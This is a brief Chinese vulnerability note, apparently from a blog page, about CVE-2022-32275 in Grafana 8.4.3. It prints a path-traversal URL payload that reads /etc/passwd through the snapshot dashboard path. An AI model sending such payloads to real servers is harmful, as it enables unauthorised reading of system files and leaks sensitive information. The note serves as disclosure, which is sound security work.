Grafana 8.4.3 版本存在一个安全漏洞，攻击者可以利用 CVE-2022-32275 漏洞通过特定URL路径读取系统文件，例如/etc/passwd，这可能导致敏感信息泄露，影响系统安全。
CVE-2022-32275 Grafana 8.4.3 允许通过a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd 来读取文件
扫一扫
评论
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
查看更多评论
添加红包
